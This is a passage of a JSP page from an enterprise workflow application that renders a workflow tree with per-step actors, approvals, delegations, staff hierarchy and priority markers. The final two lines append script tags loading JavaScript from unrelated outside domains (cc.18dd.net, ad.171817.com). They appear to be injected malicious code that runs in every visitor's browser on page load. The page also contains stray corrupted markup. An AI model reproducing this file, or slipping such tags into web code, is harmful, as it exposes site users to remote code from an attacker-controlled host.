                    } else if (WorkflowProgress.STATUS_PENDING.equals(tmp1.getWorkflowAction())) {
                      pendingList.add(tmp1);
                    } else if (WorkflowProgress.STATUS_IN_PROGRESS.equals(tmp1.getWorkflowAction())) {
                      pickupList.add(tmp1);
                    } else {
                      otherList.add(tmp1);
                    }
                  }
                }
                if(actorExecList.size()>0 || dynamicActorList.size()>0){
%>
			<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
                <tr>
                  <td class="<%=nodeStyle%>">
                    <table cellpadding="0" cellspacing="0" border="0" width="100%"  class="<%=nodeStyle%>">
			<%}%>
			<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
                  <!--- Display dynamic assigned to actors Begin -->
                  <%if(!Utility.isEmpty(dynamicActorList)){%>
                  <tr>
                    <td valign="top"><b><bean:message key='workflow.label.assigned_to'/>:</b></td>
                  </tr>
                  <tr>
                    <td>
                    <!--
                      <%
                        for(int k=0; k<dynamicActorList.size(); k++){
                          String iconName = "IconUser.gif";
                          String actorName = "";
                          MtmWorkflowDynamicUserActor dynamicActor = (MtmWorkflowDynamicUserActor)dynamicActorList.get(k);

                          if(MtmWorkflowStepUserActor.ACTOR_TYPE_USER.equals(dynamicActor.getActorType()) ){
                            //Is User
                            iconName = "IconUser.gif";
                            actorName = dynamicActor.getActorName();
                          } else if(MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP.equals(dynamicActor.getActorType()) ){
                            //Is Group
                            iconName = "IconGroup.gif";
                            actorName = dynamicActor.getActorName();
                          } else if(MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE.equals(dynamicActor.getActorType()) ){
                            //Is Role
                            iconName = "IconRole.gif";
                            actorName = dynamicActor.getActorName();
                          }
                      %>
                       <html:img src='<%= iconName %>'  align='absmiddle'/><%=actorName%><br>
                      <%}%>
                      -->
                      <b><wfm:ownerInfo stepID="<%=currentStep.getID()%>" userActorList="<%=dynamicActorList%>" nobr="false" showEmail="true"/>
                    </td>
                  </tr>
                  <%}%>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                        </td>
                      </tr>
                  <!--- Display dynamic assigned to actors End   -->
                  <!--
                  <% if (pendingList.size() > 0) { %>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.action_by_P'/>:
                        </td>
                      </tr>
                    <% for (int loopCnt=0; loopCnt<pendingList.size(); loopCnt++) {
                        MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)pendingList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=actor.getUserRecordName()%><br>
                      </tr>
                    <% } %>
                      <tr>
                        <html:img src='LayoutSpacer.gif' width='1' height='1' />
                      </tr>
                  <% } %>
                  -->
                  <%-- Brook.huang add start. --%>
                  <%-- List the pickup member while they are exist. --%>
                  <!-- Pickup By Member -->
                  <% if (pickupList.size() > 0) {%>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.action_by_I'/>:
                        </td>
                      </tr>
                    <% for (int loopCnt=0; loopCnt<pickupList.size(); loopCnt++) {
                        MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)pickupList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=actor.getUserRecordName()%><br>
                      </tr>
                    <% } %>
                      <tr>
                        <html:img src='LayoutSpacer.gif' width='1' height='1' />
                      </tr>
                  <% } %>
                  <%-- Brook.huang add end. --%>
                  <!-- Approved By Member -->
                  <% if (approvedList.size() > 0) { %>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.action_by_A'/>:
                        </td>
                      </tr>
                    <% for (int loopCnt=0; loopCnt<approvedList.size(); loopCnt++) {
                        MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)approvedList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=actor.getUserRecordName()%><br>
                      </tr>
                    <% } %>
                      <tr>
                        <html:img src='LayoutSpacer.gif' width='1' height='1' />
                      </tr>
                  <% } %>
                  <!-- Rejected By Member -->
                  <% if (rejectedList.size() > 0) { %>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.action_by_R'/>:
                        </td>
                      </tr>
                    <% for (int loopCnt=0; loopCnt<rejectedList.size(); loopCnt++) {
                        MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)rejectedList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=actor.getUserRecordName()%><br>
                      </tr>
                    <% } %>
                      <tr>
                        <html:img src='LayoutSpacer.gif' width='1' height='1' />
                      </tr>
                  <% } %>
                  <!-- Selected Yes By Member -->
                  <% if (yesList.size() > 0) { %>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.action_by_T'/>:
                        </td>
                      </tr>
                    <% for (int loopCnt=0; loopCnt<yesList.size(); loopCnt++) {
                        MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)yesList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=actor.getUserRecordName()%><br>
                      </tr>
                    <% } %>
                      <tr>
                        <html:img src='LayoutSpacer.gif' width='1' height='1' />
                      </tr>
                  <% } %>
                  <!-- Selected No By Member -->
                  <% if (noList.size() > 0) { %>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.action_by_F'/>:
                        </td>
                      </tr>
                    <% for (int loopCnt=0; loopCnt<noList.size(); loopCnt++) {
                        MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)noList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=actor.getUserRecordName()%><br>
                      </tr>
                    <% } %>
                      <tr>
                        <html:img src='LayoutSpacer.gif' width='1' height='1' />
                      </tr>
                  <% } %>

                  <!-- Completed By Memeber -->
                  <%if(!WorkflowStep.ACTION_TYPE_END.equals(currentStep.getActionType())){%>
                  <% if (completedList.size() > 0) { %>                      
                  <%if(currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO) && (trackID!=null) && !isComplete){
                  		Integer endStepProgressID1=progressDAO.getWorkflowProgressIDByStepIDTrackID(currentStep.getID(),trackID);
                  %>
					<tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.actor'/>:
                        </td>
                      </tr>
                      <tr>
                      	<td class="<%=nodeStyle%>">
                        	<b><wfm:ownerInfo stepID="<%=currentStep.getID()%>" nobr="false" showEmail="true" progressID="<%=endStepProgressID1%>" /></b>                        	
                      </td>
                      </tr>								
			          <%}else{%>
					  <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.action_by_G'/>:
                        </td>
                      </tr>
                    <%for (int loopCnt=0; loopCnt<completedList.size(); loopCnt++) {
                        MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)completedList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%if (!Utility.isEmpty(actor.getDelegateUserRecordID()) ) {%>
                        <font color='red'> * </font><a href='#' onmouseover="return getPopupInfo('<b><u style=\'font-size:11px\'><bean:message key='workflow.label.delegate_by'/>:</u></b><br><nobr><img src=\'<%=request.getContextPath()%>/theme/pref1/img/common/IconUser.gif\' align=\'absmiddle\' border=\'0\'><%=UserInfoFactory.getUserFullName(actor.getDelegateUserRecordID())%></nobr>');" onmouseout="return nd();"><%=actor.getUserRecordName()%> </a>
                        <%} else {%>
                        <%=actor.getUserRecordName()%>
                        <%}%><br>
                      </tr>
                    <%} %>
                  <%}
                    %>
                      <tr>
                        <html:img src='LayoutSpacer.gif' width='1' height='1' />
                      </tr>
                <%}}%>
                  <!-- Submitted By Member -->
                  <% if (submittedList.size() > 0) { %>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.action_by_S'/>:
                        </td>
                      </tr>
                    <% for (int loopCnt=0; loopCnt<submittedList.size(); loopCnt++) {
                        MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)submittedList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=actor.getUserRecordName()%><%if (trackID!=null){
                            WorkflowRecord workflowRecord = (WorkflowRecord)recordDAO.getObjectByTrackID(trackID);
                            if ( workflowRecord!=null && workflowRecord.getWorkflowCategoryID()!=null){
                              if ( SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(String.valueOf(workflowRecord.getWorkflowCategoryID())) ) {
                                // TODO: Remove the DAO access in JSP pages.
                                StringBuffer sbUsers = new StringBuffer();
                                StaffRecordDAObject staffRecordDAO = new StaffRecordDAObject(sessionContainer, conn);
                                StaffHierarchyDAObject staffHierarchyDAO = new StaffHierarchyDAObject(sessionContainer, conn);
                                StaffRecord staffRecord = (StaffRecord)staffRecordDAO.getObjectByUserRecordID(actor.getUserRecordID());
                                List fullHierarchyList = staffHierarchyDAO.getFullList();
                                Map hierarchy = new HashMap();
                                for ( int j = 0 ; j < fullHierarchyList.size() ; j++ ) {
                                  StaffHierarchy staffHierarchy = (StaffHierarchy)fullHierarchyList.get(j);
                                  hierarchy.put ( staffHierarchy.getID(), staffHierarchy );
                                }
                                if ( !Utility.isEmpty(staffRecord.getLevel1ID()) && hierarchy.containsKey(staffRecord.getLevel1ID()) ) {
                                  sbUsers.append(" (").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel1ID()) ).getName() );
                                  if ( !Utility.isEmpty(staffRecord.getLevel2ID()) && hierarchy.containsKey(staffRecord.getLevel2ID()) ) {
                                    sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel2ID()) ).getName() );
                                    if ( !Utility.isEmpty(staffRecord.getLevel3ID()) && hierarchy.containsKey(staffRecord.getLevel3ID()) ) {
                                      sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel3ID()) ).getName() );
                                      if ( !Utility.isEmpty(staffRecord.getLevel4ID()) && hierarchy.containsKey(staffRecord.getLevel4ID()) ) {
                                        sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel4ID()) ).getName() );
                                        if ( !Utility.isEmpty(staffRecord.getLevel5ID()) && hierarchy.containsKey(staffRecord.getLevel5ID()) ) {
                                          sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel5ID()) ).getName() );
                                          if ( !Utility.isEmpty(staffRecord.getLevel6ID()) && hierarchy.containsKey(staffRecord.getLevel6ID()) ) {
                                            sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel6ID()) ).getName() );
                                            if ( !Utility.isEmpty(staffRecord.getLevel7ID()) && hierarchy.containsKey(staffRecord.getLevel7ID()) ) {
                                              sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel7ID()) ).getName() );
                                              if ( !Utility.isEmpty(staffRecord.getLevel8ID()) && hierarchy.containsKey(staffRecord.getLevel8ID()) ) {
                                                sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel8ID()) ).getName() );
                                                if ( !Utility.isEmpty(staffRecord.getLevel9ID()) && hierarchy.containsKey(staffRecord.getLevel9ID()) ) {
                                                  sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel9ID()) ).getName() );
                                                  if ( !Utility.isEmpty(staffRecord.getLevel10ID()) && hierarchy.containsKey(staffRecord.getLevel10ID()) ) {
                                                    sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel10ID()) ).getName() );
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                  sbUsers.append(")");
                                }
                                out.println(sbUsers.toString());
                              }
                            }
                          }%><br>
                        </td>
                      </tr>
                    <% } %>
                      <tr>
                        <td colspan='2'><html:img src='LayoutSpacer.gif' width='1' height='1' /></td>
                      </tr>
                  <% } %>
                  <% if (otherList.size() > 0) {
                      MtmWorkflowProgressUserRecord actor = (MtmWorkflowProgressUserRecord)otherList.get(0);
                  %>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>"><%if(wholeProgressOnCurrentNodeList!=null&&wholeProgressOnCurrentNodeList.size()>1 || actorExecList.size()>1){%><bean:message key='workflow.label.last'/><%}%>
                          <bean:message key='<%=actor.getWorkflowAction().equals("C")?"workflow.label.action_by_C" :"workflow.label.action_by_"+currentProgress.getStatus()/*actor.getWorkflowAction()*/%>'/>:
                        </td>
                      </tr>
                    <% for (int loopCnt=0; loopCnt<otherList.size(); loopCnt++) {
                        actor = (MtmWorkflowProgressUserRecord)otherList.get(loopCnt);
                    %>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=actor.getUserRecordName()%><br>
                      </tr>
                    <% } %>
                      <tr>
                        <html:img src='LayoutSpacer.gif' width='1' height='1' />
                      </tr>
                  <% } %>
<%}%>
<%
                  if (isOverDue){
                  //if (currentProgress.getUpdaterID().intValue() == 0 && !WorkflowStep.ACTION_TYPE_END.equals(currentStep.getActionType()) )
%>
				<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE)) && WorkflowStep.NO_RESPONSE_ACTION_COMPLETE.equals(currentStep.getOnNoResponseAction())) {%>
                      <tr>
                          <td colspan='2' class="<%=nodeStyle%>">
                              <bean:message key='workflow.label.overdued'/>:
                          </td>
                      </tr>
				<%}%>
<%
                    if (!"".equals(routeMsg)){
%>
					<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
                      <tr>
                        <td colspan='2' class="<%=nodeStyle%>">
                          <bean:message key='workflow.label.route_to'/>
Y
                        </td>
                      </tr>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><%=routeMsg%><br></b></td>
                      </tr>
					<%}%>
<%
                    }else{
%>
					<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE)) && WorkflowStep.NO_RESPONSE_ACTION_COMPLETE.equals(currentStep.getOnNoResponseAction())) {%>
                      <tr>
                        <td class="<%=nodeStyle%>"><b><bean:message key='workflow.label.auto'/> <bean:message key='<%="workflow.label.step_status_"+currentProgress.getStatus()%>'/><br></b></td>
                      </tr>
					<%}%>
<%
                    }
                  }//* end [if(isOverDue] case
                  isOverDue = false;
%>
				<%if ("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))) {%>
                    </table>
                  </td>
                </tr>
				<%}%>
<%
                } // end [if(actorExecList.size()>0)] case
              } // end [if(wholeProgressOnCurrentNodeList.size()>0)] case
            } // end [if(currentProgress!=null)] case
          } // end [if (!isRepeated)] case
          %>
			         <##########>
			         <tr>
			         <!-- simon  new  start -->
			          <td align='center' class="NodeStart">       
			            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && request.getAttribute("isSetup") != null && request.getAttribute("isCopy") == null) { %>

        				<%} else { //simon9%>
						 <%
          //* if groupID > 1, then it should be a merge node...
          Integer groupCount =(currentStepStep==null) ? null :  (Integer)mtmGroupMap.get(currentStepStep.getChildStepID()+"_"+currentStepStep.getGroupID());
          String progressPriority = currentStep.getPriority();
          if (currentProgress != null){
            progressPriority = currentProgress.getProgressPriority();
          }
        %>

        <!--Show Priority Icon -->
        <b><font color='red'>
        <%if (GlobalConstant.PRIORITY_HIGH.equals(progressPriority)) { %>
        !!
        <%} else if (GlobalConstant.PRIORITY_MEDIUM.equals(progressPriority)) { %>
        !
        <%} else if (GlobalConstant.PRIORITY_LOW.equals(progressPriority)) { %>
        
        <%} %>
        </font></b>
        					<%int popupHeight=(currentStepProgressList!=null) ? currentStepProgressList.size()*30+250 :250;%>
        					<b><a href="#" <%if (!Utility.isEmpty(currentStepPermissionTypes) && (currentStepPermissionTypes.indexOf("R") >= 0 ||currentStepPermissionTypes.indexOf("Q") >= 0)) {%> onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowProgress.do?navMode=V&trackID=<%=trackID%>&workflowStepID=<%=currentStep.getID()%>','DCIVisionProgressView',630, 300, 'scrollbars=yes')"<%}%>><%if (currentStep.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO)) {%> <html:img src='IconInfinity.gif' /> <% } else { out.print(currentStep.getStepSeq()+"."); }%><%=currentStep.getStepName()%></a></b>
        				<%} %>  
			          </td>
			        </tr>
		<%if("2".equals(SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_TREENODE_TYPE))){%>
              <tr>
                <td class="<%=nodeStyle%>">
                <%
                    WorkflowProgress currentProgress1 = (WorkflowProgress)((Map)progressUniqueMap.get()).get(currentStep.getID());//simon
                %>
                <%if(currentProgress1==null&&WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(currentStep.getActionType())){%>
                  <bean:message key='workflow.label.actor'/>:            
                <%}else if(WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(currentStep.getActionType())){%>
                  <br>
                <%}%>
                </td>
              </tr>
			        <tr valign="top">
                <td class="<%=nodeStyle%>" valign="top">
                  <b><wfm:ownerInfo stepID="<%=currentStep.getID()%>" nobr="false" showEmail="true" progressID="<%=progressID%>"/>
                  <%if (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(currentStep.getActionType())) {%> 
                    <html:img src='IconAuto.gif'  align='absmiddle'/>
			              <bean:message key="workflow.label.automatic_task"/><br>
                  <%} else if (currentProgress1==null&&WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(currentStep.getActionType())) {%>
                    <html:img src='IconAuto.gif'  align='absmiddle'/>
                    [<bean:message key='workflow.label.step_type_F'/>]<br>
                  <%} else if (WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(currentStep.getActionType())) {%>
                    [<bean:message key='workflow.label.step_type_F'/>]
                  <%}%>
                  <br></b>
                </td>
			        </tr>
			    <%}%>
			        </wfm:permission>
              <!-- simon  new  end -->




                             </table>
                           </td>
                          </tr>
                        </table>
      <%}//simon_zhuan_page[887]%>
                        <!--  ****************************** -->
                        <!--  *****  End of Node Content  ***** -->
                        <!--  ***************************** -->
                      </td>
                      <td width="<%=cellSpacerWidth%>"></td>
                    </tr>
                  </table>

<%      if(!isRepeated && !node.isLeaf() && (Utility.isEmpty(currentStep.getActionID()) || (!Utility.isEmpty(currentStep.getActionID()) && !((WorkflowProcessor)AutomaticTaskFactory.getInstance(currentStep.getWorkflowAction())).isLeaf()))){ %>
                        <!-- Start of Trail Vertical Line-->
                  <table width="<%=nodeWidth%>" height='<%= !node.isLeaf() ? "100%":String.valueOf(lineTailHeight)%>' cellpadding="0" cellspacing="0" border="0">
                    <tr>
                      <td width="<%=lineCellSpacerWidth%>" valign="top" align="center">&nbsp;</td>
                      <td width="<%=lineWidth%>"  class="ChartLine<%=isTailSelected/*(isSelected || (isRepeated && isProcessPending))*/? "Selected": "Normal"%>"></td>
                      <td width="<%=lineCellSpacerWidth%>" valign="top" align="center">&nbsp;</td>
                    </tr>
                  </table>
<%
		}
%>
                        <!-- End of Trail Vertical Line-->
                </td>
                <td width="<%=spacerWidth%>" align='center' valign="top"></td>
              </tr>
            </table>
          </td>
        <%
        if(nextNode==null || nextNode.getLevel() > node.getLevel()){
          if(totalWidth<maxWidth){
            totalWidth=maxWidth;
%>
          <td width="<%=(maxWidth-totalWidth)%>" align='center'>&nbsp;</td>
<%        }%>
        </tr>
      </table>
    </td>
  </tr>
        <%
        }
      }
    }
}catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
%>

</table>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>